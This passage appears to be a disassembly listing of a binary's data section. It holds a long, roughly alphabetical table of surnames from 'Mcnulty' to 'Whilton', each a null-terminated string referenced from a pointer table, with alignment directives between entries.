aMcnulty db 'Mcnulty',0 ; DATA XREF: _2:004478B4o
aMeccariello db 'Meccariello',0 ; DATA XREF: _2:004478B8o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: _2:004478BCo
align 4
aMenzies db 'Menzies',0 ; DATA XREF: _2:004478C0o
aMerikoski db 'Merikoski',0 ; DATA XREF: _2:004478C4o
align 4
aMerlani db 'Merlani',0 ; DATA XREF: _2:004478C8o
aMerminod db 'Merminod',0 ; DATA XREF: _2:004478CCo
align 4
aMerseth db 'Merseth',0 ; DATA XREF: _2:004478D0o
aMerz db 'Merz',0 ; DATA XREF: _2:004478D4o
align 4
aMetelka db 'Metelka',0 ; DATA XREF: _2:004478D8o
aMetropolis db 'Metropolis',0 ; DATA XREF: _2:004478DCo
align 10h
aMeurer db 'Meurer',0 ; DATA XREF: _2:004478E0o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: _2:004478E4o
align 4
aMiddle db 'Middle',0 ; DATA XREF: _2:004478E8o
align 4
aMieher db 'Mieher',0 ; DATA XREF: _2:004478ECo
align 4
aMills db 'Mills',0 ; DATA XREF: _2:004478F0o
align 4
aMinh db 'Minh',0 ; DATA XREF: _2:004478F4o
align 4
aMini db 'Mini',0 ; DATA XREF: _2:004478F8o
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: _2:004478FCo
aGonzalez db 'Gonzalez',0 ; DATA XREF: _2:00447900o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: _2:00447904o
aMittal db 'Mittal',0 ; DATA XREF: _2:00447908o
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: _2:0044790Co
aModestino db 'Modestino',0 ; DATA XREF: _2:00447910o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: _2:00447914o
aMohr db 'Mohr',0 ; DATA XREF: _2:00447918o
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: _2:0044791Co
align 4
aMonque db 'Monque',0 ; DATA XREF: _2:00447920o
align 10h
aMontilio db 'Montilio',0 ; DATA XREF: _2:00447924o
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: _2:00447928o
align 4
aMorani db 'Morani',0 ; DATA XREF: _2:0044792Co
align 10h
aMoreton db 'Moreton',0 ; DATA XREF: _2:00447930o
aMorrison db 'Morrison',0 ; DATA XREF: _2:00447934o
align 4
aMorrow db 'Morrow',0 ; DATA XREF: _2:00447938o
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: _2:0044793Co
align 4
aMosher db 'Mosher',0 ; DATA XREF: _2:00447940o
align 10h
aMosler db 'Mosler',0 ; DATA XREF: _2:00447944o
align 4
aMostafavi db 'Mostafavi',0 ; DATA XREF: _2:00447948o
align 4
aMotooka db 'Motooka',0 ; DATA XREF: _2:0044794Co
aMudarri db 'Mudarri',0 ; DATA XREF: _2:00447950o
aMuello db 'Muello',0 ; DATA XREF: _2:00447954o
align 4
aMugnai db 'Mugnai',0 ; DATA XREF: _2:00447958o
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: _2:0044795Co
aMulroy db 'Mulroy',0 ; DATA XREF: _2:00447960o
align 4
aMumford db 'Mumford',0 ; DATA XREF: _2:00447964o
aMussachio db 'Mussachio',0 ; DATA XREF: _2:00447968o
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: _2:0044796Co
align 10h
aNapolitano db 'Napolitano',0 ; DATA XREF: _2:00447970o
align 4
aNardi db 'Nardi',0 ; DATA XREF: _2:00447974o
align 4
aNardone db 'Nardone',0 ; DATA XREF: _2:00447978o
aNaviaux db 'Naviaux',0 ; DATA XREF: _2:0044797Co
aNayduch db 'Nayduch',0 ; DATA XREF: _2:00447980o
aNelson db 'Nelson',0 ; DATA XREF: _2:00447984o
align 4
aNenna db 'Nenna',0 ; DATA XREF: _2:00447988o
align 4
aNesci db 'Nesci',0 ; DATA XREF: _2:0044798Co
align 4
aNeuman db 'Neuman',0 ; DATA XREF: _2:00447990o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: _2:00447994o
aNewlin db 'Newlin',0 ; DATA XREF: _2:00447998o
align 4
aNg db 'Ng',0 ; DATA XREF: _2:0044799Co
align 10h
aNi_0 db 'Ni',0 ; DATA XREF: _2:004479A0o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: _2:004479A4o
align 10h
aNickoloff db 'Nickoloff',0 ; DATA XREF: _2:004479A8o
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: _2:004479ACo
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: _2:004479B0o
align 4
aNotman db 'Notman',0 ; DATA XREF: _2:004479B4o
align 4
aNuzum db 'Nuzum',0 ; DATA XREF: _2:004479B8o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: _2:004479BCo
aOgata db 'Ogata',0 ; DATA XREF: _2:004479C0o
align 4
aOh db 'Oh',0 ; DATA XREF: _2:004479C4o
align 4
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: _2:004479C8o
aOldford db 'Oldford',0 ; DATA XREF: _2:004479CCo
aOlsen db 'Olsen',0 ; DATA XREF: _2:004479D0o
align 10h
aOlson db 'Olson',0 ; DATA XREF: _2:004479D4o
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: _2:004479D8o
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: _2:004479DCo
align 10h
aOman db 'Oman',0 ; DATA XREF: _2:004479E0o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: _2:004479E4o
aOpel db 'Opel',0 ; DATA XREF: _2:004479E8o
align 4
aOray db 'Oray',0 ; DATA XREF: _2:004479ECo
align 10h
aOrfield db 'Orfield',0 ; DATA XREF: _2:004479F0o
aOrsi db 'Orsi',0 ; DATA XREF: _2:004479F4o
align 10h
aOspina db 'Ospina',0 ; DATA XREF: _2:004479F8o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: _2:004479FCo
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: _2:00447A00o
align 10h
aOtten db 'Otten',0 ; DATA XREF: _2:00447A04o
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: _2:00447A08o
aOvid db 'Ovid',0 ; DATA XREF: _2:00447A0Co
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: _2:00447A10o
align 4
aPaine db 'Paine',0 ; DATA XREF: _2:00447A14o
align 10h
aPalayoor db 'Palayoor',0 ; DATA XREF: _2:00447A18o
align 4
aPalepu db 'Palepu',0 ; DATA XREF: _2:00447A1Co
align 4
aPallara db 'Pallara',0 ; DATA XREF: _2:00447A20o
aPalmitesta db 'Palmitesta',0 ; DATA XREF: _2:00447A24o
align 4
aPanadero db 'Panadero',0 ; DATA XREF: _2:00447A28o
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: _2:00447A2Co
align 10h
aPantilla db 'Pantilla',0 ; DATA XREF: _2:00447A30o
align 4
aPaoletti db 'Paoletti',0 ; DATA XREF: _2:00447A34o
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: _2:00447A38o
aParris db 'Parris',0 ; DATA XREF: _2:00447A3Co
align 4
aPartridge db 'Partridge',0 ; DATA XREF: _2:00447A40o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: _2:00447A44o
align 4
aPatefield db 'Patefield',0 ; DATA XREF: _2:00447A48o
align 10h
aPatrick db 'Patrick',0 ; DATA XREF: _2:00447A4Co
aPattullo db 'Pattullo',0 ; DATA XREF: _2:00447A50o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: _2:00447A54o
aPavlon db 'Pavlon',0 ; DATA XREF: _2:00447A58o
align 4
aPawloski db 'Pawloski',0 ; DATA XREF: _2:00447A5Co
align 10h
aPaynter db 'Paynter',0 ; DATA XREF: _2:00447A60o
aPeabody db 'Peabody',0 ; DATA XREF: _2:00447A64o
aPearlberg db 'Pearlberg',0 ; DATA XREF: _2:00447A68o
align 4
aPederson db 'Pederson',0 ; DATA XREF: _2:00447A6Co
align 4
aPeishel db 'Peishel',0 ; DATA XREF: _2:00447A70o
aPenny db 'Penny',0 ; DATA XREF: _2:00447A74o
align 4
aPereira db 'Pereira',0 ; DATA XREF: _2:00447A78o
aPerko db 'Perko',0 ; DATA XREF: _2:00447A7Co
align 4
aPerlak db 'Perlak',0 ; DATA XREF: _2:00447A80o
align 10h
aPerlman db 'Perlman',0 ; DATA XREF: _2:00447A84o
aPerna db 'Perna',0 ; DATA XREF: _2:00447A88o
align 10h
aPerone db 'Perone',0 ; DATA XREF: _2:00447A8Co
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: _2:00447A90o
align 4
aPeters db 'Peters',0 ; DATA XREF: _2:00447A94o
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: _2:00447A98o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: _2:00447A9Co
align 4
aPettit db 'Pettit',0 ; DATA XREF: _2:00447AA0o
align 4
aPfister db 'Pfister',0 ; DATA XREF: _2:00447AA4o
aPilbeam db 'Pilbeam',0 ; DATA XREF: _2:00447AA8o
aPinot db 'Pinot',0 ; DATA XREF: _2:00447AACo
align 4
aPlancon db 'Plancon',0 ; DATA XREF: _2:00447AB0o
aPlant db 'Plant',0 ; DATA XREF: _2:00447AB4o
align 4
aPlasket db 'Plasket',0 ; DATA XREF: _2:00447AB8o
aPlous db 'Plous',0 ; DATA XREF: _2:00447ABCo
align 4
aPo db 'Po',0 ; DATA XREF: _2:00447AC0o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: _2:00447AC4o
align 4
aPoincaire db 'Poincaire',0 ; DATA XREF: _2:00447AC8o
align 10h
aPointer db 'Pointer',0 ; DATA XREF: _2:00447ACCo
aPoirier db 'Poirier',0 ; DATA XREF: _2:00447AD0o
aPolak db 'Polak',0 ; DATA XREF: _2:00447AD4o
align 4
aPolanyi db 'Polanyi',0 ; DATA XREF: _2:00447AD8o
aPolitis db 'Politis',0 ; DATA XREF: _2:00447ADCo
aPoma db 'Poma',0 ; DATA XREF: _2:00447AE0o
align 10h
aPoolman db 'Poolman',0 ; DATA XREF: _2:00447AE4o
aPowers db 'Powers',0 ; DATA XREF: _2:00447AE8o
align 10h
aPresper db 'Presper',0 ; DATA XREF: _2:00447AECo
aPreucel db 'Preucel',0 ; DATA XREF: _2:00447AF0o
aPrevost db 'Prevost',0 ; DATA XREF: _2:00447AF4o
aPritchard db 'Pritchard',0 ; DATA XREF: _2:00447AF8o
align 4
aPritz db 'Pritz',0 ; DATA XREF: _2:00447AFCo
align 4
aProietti db 'Proietti',0 ; DATA XREF: _2:00447B00o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: _2:00447B04o
align 4
aPuccia db 'Puccia',0 ; DATA XREF: _2:00447B08o
align 10h
aPugh db 'Pugh',0 ; DATA XREF: _2:00447B0Co
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: _2:00447B10o
aQuaday db 'Quaday',0 ; DATA XREF: _2:00447B14o
align 4
aQuetin db 'Quetin',0 ; DATA XREF: _2:00447B18o
align 10h
aRabe db 'Rabe',0 ; DATA XREF: _2:00447B1Co
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: _2:00447B20o
align 10h
aRadeke db 'Radeke',0 ; DATA XREF: _2:00447B24o
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: _2:00447B28o
aRaney db 'Raney',0 ; DATA XREF: _2:00447B2Co
align 4
aRangan db 'Rangan',0 ; DATA XREF: _2:00447B30o
align 4
aRankin db 'Rankin',0 ; DATA XREF: _2:00447B34o
align 4
aRapple db 'Rapple',0 ; DATA XREF: _2:00447B38o
align 4
aRayport db 'Rayport',0 ; DATA XREF: _2:00447B3Co
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: _2:00447B40o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: _2:00447B44o
align 4
aCunningham db 'Cunningham',0 ; DATA XREF: _2:00447B48o
align 4
aReinold db 'Reinold',0 ; DATA XREF: _2:00447B4Co
aRemak db 'Remak',0 ; DATA XREF: _2:00447B50o
align 4
aRenick db 'Renick',0 ; DATA XREF: _2:00447B54o
align 4
aRepetto db 'Repetto',0 ; DATA XREF: _2:00447B58o
aResnik db 'Resnik',0 ; DATA XREF: _2:00447B5Co
align 4
aRhea db 'Rhea',0 ; DATA XREF: _2:00447B60o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: _2:00447B64o
align 10h
aRielly db 'Rielly',0 ; DATA XREF: _2:00447B68o
align 4
aRindos db 'Rindos',0 ; DATA XREF: _2:00447B6Co
align 10h
aRineer db 'Rineer',0 ; DATA XREF: _2:00447B70o
align 4
aRish db 'Rish',0 ; DATA XREF: _2:00447B74o
align 10h
aRivera db 'Rivera',0 ; DATA XREF: _2:00447B78o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: _2:00447B7Co
align 4
aRocha db 'Rocha',0 ; DATA XREF: _2:00447B80o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: _2:00447B84o
aRogers db 'Rogers',0 ; DATA XREF: _2:00447B88o
align 4
aRonen db 'Ronen',0 ; DATA XREF: _2:00447B8Co
align 4
aRow db 'Row',0 ; DATA XREF: _2:00447B90o
aRoyal db 'Royal',0 ; DATA XREF: _2:00447B94o
align 10h
aRu db 'Ru',0 ; DATA XREF: _2:00447B98o
align 4
aRuan db 'Ruan',0 ; DATA XREF: _2:00447B9Co
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: _2:00447BA0o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: _2:00447BA4o
align 4
aRush db 'Rush',0 ; DATA XREF: _2:00447BA8o
align 4
aRyu db 'Ryu',0 ; DATA XREF: _2:00447BACo
aSabatello db 'Sabatello',0 ; DATA XREF: _2:00447BB0o
align 4
aSadler db 'Sadler',0 ; DATA XREF: _2:00447BB4o
align 4
aSafire db 'Safire',0 ; DATA XREF: _2:00447BB8o
align 4
aSahu db 'Sahu',0 ; DATA XREF: _2:00447BBCo
align 4
aSali db 'Sali',0 ; DATA XREF: _2:00447BC0o
align 4
aSamson db 'Samson',0 ; DATA XREF: _2:00447BC4o
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: _2:00447BC8o
aSanna db 'Sanna',0 ; DATA XREF: _2:00447BCCo
align 4
aSapers db 'Sapers',0 ; DATA XREF: _2:00447BD0o
align 4
aSarin db 'Sarin',0 ; DATA XREF: _2:00447BD4o
align 4
aSartore db 'Sartore',0 ; DATA XREF: _2:00447BD8o
aSase db 'Sase',0 ; DATA XREF: _2:00447BDCo
align 4
aSatin db 'Satin',0 ; DATA XREF: _2:00447BE0o
align 4
aSatta db 'Satta',0 ; DATA XREF: _2:00447BE4o
align 4
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: _2:00447BE8o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: _2:00447BECo
aSayied db 'Sayied',0 ; DATA XREF: _2:00447BF0o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: _2:00447BF4o
align 4
aScepan db 'Scepan',0 ; DATA XREF: _2:00447BF8o
align 10h
aScharf db 'Scharf',0 ; DATA XREF: _2:00447BFCo
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: _2:00447C00o
aScheiner db 'Scheiner',0 ; DATA XREF: _2:00447C04o
align 10h
aSchiano db 'Schiano',0 ; DATA XREF: _2:00447C08o
aSchifini db 'Schifini',0 ; DATA XREF: _2:00447C0Co
align 4
aSchilling db 'Schilling',0 ; DATA XREF: _2:00447C10o
align 10h
aSchmitt db 'Schmitt',0 ; DATA XREF: _2:00447C14o
aSchossberger db 'Schossberger',0 ; DATA XREF: _2:00447C18o
align 4
aSchuman db 'Schuman',0 ; DATA XREF: _2:00447C1Co
aSchutte db 'Schutte',0 ; DATA XREF: _2:00447C20o
aSchuyler db 'Schuyler',0 ; DATA XREF: _2:00447C24o
align 4
aSchwan db 'Schwan',0 ; DATA XREF: _2:00447C28o
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: _2:00447C2Co
aScovel db 'Scovel',0 ; DATA XREF: _2:00447C30o
align 10h
aScudder db 'Scudder',0 ; DATA XREF: _2:00447C34o
aSeaton db 'Seaton',0 ; DATA XREF: _2:00447C38o
align 10h
aSeeber db 'Seeber',0 ; DATA XREF: _2:00447C3Co
align 4
aSegal db 'Segal',0 ; DATA XREF: _2:00447C40o
align 10h
aSekler db 'Sekler',0 ; DATA XREF: _2:00447C44o
align 4
aSelvage db 'Selvage',0 ; DATA XREF: _2:00447C48o
aSen db 'Sen',0 ; DATA XREF: _2:00447C4Co
aSennett db 'Sennett',0 ; DATA XREF: _2:00447C50o
aSeterdahl db 'Seterdahl',0 ; DATA XREF: _2:00447C54o
align 4
aSexton db 'Sexton',0 ; DATA XREF: _2:00447C58o
align 10h
aSeyfert db 'Seyfert',0 ; DATA XREF: _2:00447C5Co
aShaikh db 'Shaikh',0 ; DATA XREF: _2:00447C60o
align 10h
aShakis db 'Shakis',0 ; DATA XREF: _2:00447C64o
align 4
aShankland db 'Shankland',0 ; DATA XREF: _2:00447C68o
align 4
aShanley db 'Shanley',0 ; DATA XREF: _2:00447C6Co
aShar db 'Shar',0 ; DATA XREF: _2:00447C70o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: _2:00447C74o
aShavelson db 'Shavelson',0 ; DATA XREF: _2:00447C78o
align 4
aShea db 'Shea',0 ; DATA XREF: _2:00447C7Co
align 10h
aSheats db 'Sheats',0 ; DATA XREF: _2:00447C80o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: _2:00447C84o
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: _2:00447C88o
align 10h
aShepstone db 'Shepstone',0 ; DATA XREF: _2:00447C8Co
align 4
aShesko db 'Shesko',0 ; DATA XREF: _2:00447C90o
align 4
aShia db 'Shia',0 ; DATA XREF: _2:00447C94o
align 4
aShibata db 'Shibata',0 ; DATA XREF: _2:00447C98o
aShimon db 'Shimon',0 ; DATA XREF: _2:00447C9Co
align 4
aSiesto db 'Siesto',0 ; DATA XREF: _2:00447CA0o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: _2:00447CA4o
aSigini db 'Sigini',0 ; DATA XREF: _2:00447CA8o
align 4
aSigna db 'Signa',0 ; DATA XREF: _2:00447CACo
align 4
aSilverman db 'Silverman',0 ; DATA XREF: _2:00447CB0o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: _2:00447CB4o
align 4
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: _2:00447CB8o
align 10h
aSirilli db 'Sirilli',0 ; DATA XREF: _2:00447CBCo
aSites db 'Sites',0 ; DATA XREF: _2:00447CC0o
align 10h
aSkane db 'Skane',0 ; DATA XREF: _2:00447CC4o
align 4
aSkerry db 'Skerry',0 ; DATA XREF: _2:00447CC8o
align 10h
aSkoda db 'Skoda',0 ; DATA XREF: _2:00447CCCo
align 4
aSloan db 'Sloan',0 ; DATA XREF: _2:00447CD0o
align 10h
aSlowe db 'Slowe',0 ; DATA XREF: _2:00447CD4o
align 4
aSmilow db 'Smilow',0 ; DATA XREF: _2:00447CD8o
align 10h
aSniffen db 'Sniffen',0 ; DATA XREF: _2:00447CDCo
aSnodgrass db 'Snodgrass',0 ; DATA XREF: _2:00447CE0o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: _2:00447CE4o
aSolon db 'Solon',0 ; DATA XREF: _2:00447CE8o
align 4
aSomers db 'Somers',0 ; DATA XREF: _2:00447CECo
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: _2:00447CF0o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: _2:00447CF4o
align 4
aSorg db 'Sorg',0 ; DATA XREF: _2:00447CF8o
align 4
aSottak db 'Sottak',0 ; DATA XREF: _2:00447CFCo
align 4
aSoukup db 'Soukup',0 ; DATA XREF: _2:00447D00o
align 4
aSoule db 'Soule',0 ; DATA XREF: _2:00447D04o
align 4
aSoultanian db 'Soultanian',0 ; DATA XREF: _2:00447D08o
align 10h
aSpanier db 'Spanier',0 ; DATA XREF: _2:00447D0Co
aSparrow db 'Sparrow',0 ; DATA XREF: _2:00447D10o
aSpaulding db 'Spaulding',0 ; DATA XREF: _2:00447D14o
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: _2:00447D18o
aSpence db 'Spence',0 ; DATA XREF: _2:00447D1Co
align 4
aSperber db 'Sperber',0 ; DATA XREF: _2:00447D20o
aSpicer db 'Spicer',0 ; DATA XREF: _2:00447D24o
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: _2:00447D28o
align 4
aSpiliotis db 'Spiliotis',0 ; DATA XREF: _2:00447D2Co
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: _2:00447D30o
aStmartin db 'StMartin',0 ; DATA XREF: _2:00447D34o
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: _2:00447D38o
aStam db 'Stam',0 ; DATA XREF: _2:00447D3Co
align 4
aStang db 'Stang',0 ; DATA XREF: _2:00447D40o
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: _2:00447D44o
align 4
aStates db 'States',0 ; DATA XREF: _2:00447D48o
align 4
aStatlender db 'Statlender',0 ; DATA XREF: _2:00447D4Co
align 4
aStefani db 'Stefani',0 ; DATA XREF: _2:00447D50o
aSteiner db 'Steiner',0 ; DATA XREF: _2:00447D54o
aStephanian db 'Stephanian',0 ; DATA XREF: _2:00447D58o
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: _2:00447D5Co
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: _2:00447D60o
align 10h
aStiepock db 'Stiepock',0 ; DATA XREF: _2:00447D64o
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: _2:00447D68o
align 4
aStock db 'Stock',0 ; DATA XREF: _2:00447D6Co
align 10h
aStockton db 'Stockton',0 ; DATA XREF: _2:00447D70o
align 4
aStockwell db 'Stockwell',0 ; DATA XREF: _2:00447D74o
align 4
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: _2:00447D78o
aStonich db 'Stonich',0 ; DATA XREF: _2:00447D7Co
aStorer db 'Storer',0 ; DATA XREF: _2:00447D80o
align 4
aStott db 'Stott',0 ; DATA XREF: _2:00447D84o
align 4
aStrange db 'Strange',0 ; DATA XREF: _2:00447D88o
aStrauch db 'Strauch',0 ; DATA XREF: _2:00447D8Co
aStreiff db 'Streiff',0 ; DATA XREF: _2:00447D90o
aStringer db 'Stringer',0 ; DATA XREF: _2:00447D94o
align 10h
aSullivan db 'Sullivan',0 ; DATA XREF: _2:00447D98o
align 4
aSumner db 'Sumner',0 ; DATA XREF: _2:00447D9Co
align 4
aSuo db 'Suo',0 ; DATA XREF: _2:00447DA0o
aSurdam db 'Surdam',0 ; DATA XREF: _2:00447DA4o
align 10h
aSweeting db 'Sweeting',0 ; DATA XREF: _2:00447DA8o
align 4
aSweetser db 'Sweetser',0 ; DATA XREF: _2:00447DACo
align 4
aSwindle db 'Swindle',0 ; DATA XREF: _2:00447DB0o
aTagiuri db 'Tagiuri',0 ; DATA XREF: _2:00447DB4o
aTai db 'Tai',0 ; DATA XREF: _2:00447DB8o
aTalaugon db 'Talaugon',0 ; DATA XREF: _2:00447DBCo
align 4
aTambiah db 'Tambiah',0 ; DATA XREF: _2:00447DC0o
aTandler db 'Tandler',0 ; DATA XREF: _2:00447DC4o
aTanowitz db 'Tanowitz',0 ; DATA XREF: _2:00447DC8o
align 4
aTatar db 'Tatar',0 ; DATA XREF: _2:00447DCCo
align 4
aTaveras db 'Taveras',0 ; DATA XREF: _2:00447DD0o
aTawn db 'Tawn',0 ; DATA XREF: _2:00447DD4o
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: _2:00447DD8o
align 4
aTeague db 'Teague',0 ; DATA XREF: _2:00447DDCo
align 10h
aTemes db 'Temes',0 ; DATA XREF: _2:00447DE0o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: _2:00447DE4o
align 10h
aTenney db 'Tenney',0 ; DATA XREF: _2:00447DE8o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: _2:00447DECo
align 4
aThan db 'Than',0 ; DATA XREF: _2:00447DF0o
align 4
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: _2:00447DF4o
align 4
aTheodos db 'Theodos',0 ; DATA XREF: _2:00447DF8o
aThibault db 'Thibault',0 ; DATA XREF: _2:00447DFCo
align 10h
aThisted db 'Thisted',0 ; DATA XREF: _2:00447E00o
aThomsen db 'Thomsen',0 ; DATA XREF: _2:00447E04o
aThroop db 'Throop',0 ; DATA XREF: _2:00447E08o
align 4
aTierney db 'Tierney',0 ; DATA XREF: _2:00447E0Co
aTill db 'Till',0 ; DATA XREF: _2:00447E10o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: _2:00447E14o
aTofallis db 'Tofallis',0 ; DATA XREF: _2:00447E18o
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: _2:00447E1Co
align 4
aTolls db 'Tolls',0 ; DATA XREF: _2:00447E20o
align 10h
aTolman db 'Tolman',0 ; DATA XREF: _2:00447E24o
align 4
aTomford db 'Tomford',0 ; DATA XREF: _2:00447E28o
aToomer db 'Toomer',0 ; DATA XREF: _2:00447E2Co
align 4
aTopulos db 'Topulos',0 ; DATA XREF: _2:00447E30o
aTorresi db 'Torresi',0 ; DATA XREF: _2:00447E34o
aTorske db 'Torske',0 ; DATA XREF: _2:00447E38o
align 10h
aTowler db 'Towler',0 ; DATA XREF: _2:00447E3Co
align 4
aToye db 'Toye',0 ; DATA XREF: _2:00447E40o
align 10h
aTraebert db 'Traebert',0 ; DATA XREF: _2:00447E44o
align 4
aTrenga db 'Trenga',0 ; DATA XREF: _2:00447E48o
align 4
aTrewin db 'Trewin',0 ; DATA XREF: _2:00447E4Co
align 4
aTringali db 'Tringali',0 ; DATA XREF: _2:00447E50o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: _2:00447E54o
aTroy db 'Troy',0 ; DATA XREF: _2:00447E58o
align 4
aTruss db 'Truss',0 ; DATA XREF: _2:00447E5Co
align 10h
aTsiatis db 'Tsiatis',0 ; DATA XREF: _2:00447E60o
aTsomides db 'Tsomides',0 ; DATA XREF: _2:00447E64o
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: _2:00447E68o
align 10h
aTuck db 'Tuck',0 ; DATA XREF: _2:00447E6Co
align 4
aTudge db 'Tudge',0 ; DATA XREF: _2:00447E70o
align 10h
aTukan db 'Tukan',0 ; DATA XREF: _2:00447E74o
align 4
aTurano db 'Turano',0 ; DATA XREF: _2:00447E78o
align 10h
aTurek db 'Turek',0 ; DATA XREF: _2:00447E7Co
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: _2:00447E80o
align 10h
aTwells db 'Twells',0 ; DATA XREF: _2:00447E84o
align 4
aTzamarias db 'Tzamarias',0 ; DATA XREF: _2:00447E88o
align 4
aUllman db 'Ullman',0 ; DATA XREF: _2:00447E8Co
align 4
aUntermeyer db 'Untermeyer',0 ; DATA XREF: _2:00447E90o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: _2:00447E94o
aUrban db 'Urban',0 ; DATA XREF: _2:00447E98o
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: _2:00447E9Co
align 4
aUsdan db 'Usdan',0 ; DATA XREF: _2:00447EA0o
align 10h
aUzuner db 'Uzuner',0 ; DATA XREF: _2:00447EA4o
align 4
aVacca db 'Vacca',0 ; DATA XREF: _2:00447EA8o
align 10h
aWaite db 'Waite',0 ; DATA XREF: _2:00447EACo
align 4
aValberg db 'Valberg',0 ; DATA XREF: _2:00447EB0o
aValencia db 'Valencia',0 ; DATA XREF: _2:00447EB4o
align 4
aWales db 'Wales',0 ; DATA XREF: _2:00447EB8o
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: _2:00447EBCo
align 10h
aWalter db 'Walter',0 ; DATA XREF: _2:00447EC0o
align 4
aVanallen db 'vanAllen',0 ; DATA XREF: _2:00447EC4o
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: _2:00447EC8o
aVandenberg db 'Vandenberg',0 ; DATA XREF: _2:00447ECCo
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: _2:00447ED0o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: _2:00447ED4o
align 4
aWasowska db 'Wasowska',0 ; DATA XREF: _2:00447ED8o
align 10h
aVasquez db 'Vasquez',0 ; DATA XREF: _2:00447EDCo
aWaugh db 'Waugh',0 ; DATA XREF: _2:00447EE0o
align 10h
aWeighart db 'Weighart',0 ; DATA XREF: _2:00447EE4o
align 4
aWeingarten db 'Weingarten',0 ; DATA XREF: _2:00447EE8o
align 4
aWeinhaus db 'Weinhaus',0 ; DATA XREF: _2:00447EECo
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: _2:00447EF0o
align 10h
aWeissman db 'Weissman',0 ; DATA XREF: _2:00447EF4o
align 4
aVelasquez db 'Velasquez',0 ; DATA XREF: _2:00447EF8o
align 4
aWelles db 'Welles',0 ; DATA XREF: _2:00447EFCo
align 10h
aWelsh db 'Welsh',0 ; DATA XREF: _2:00447F00o
align 4
aWengret db 'Wengret',0 ; DATA XREF: _2:00447F04o
aVenne db 'Venne',0 ; DATA XREF: _2:00447F08o
align 4
aVerghese db 'Verghese',0 ; DATA XREF: _2:00447F0Co
align 4
aWescott db 'Wescott',0 ; DATA XREF: _2:00447F10o
aWetzel db 'Wetzel',0 ; DATA XREF: _2:00447F14o
align 4
aWhately db 'Whately',0 ; DATA XREF: _2:00447F18o
aWhilton db 'Whilton',0 ; DATA XREF: _2:00447F1Co
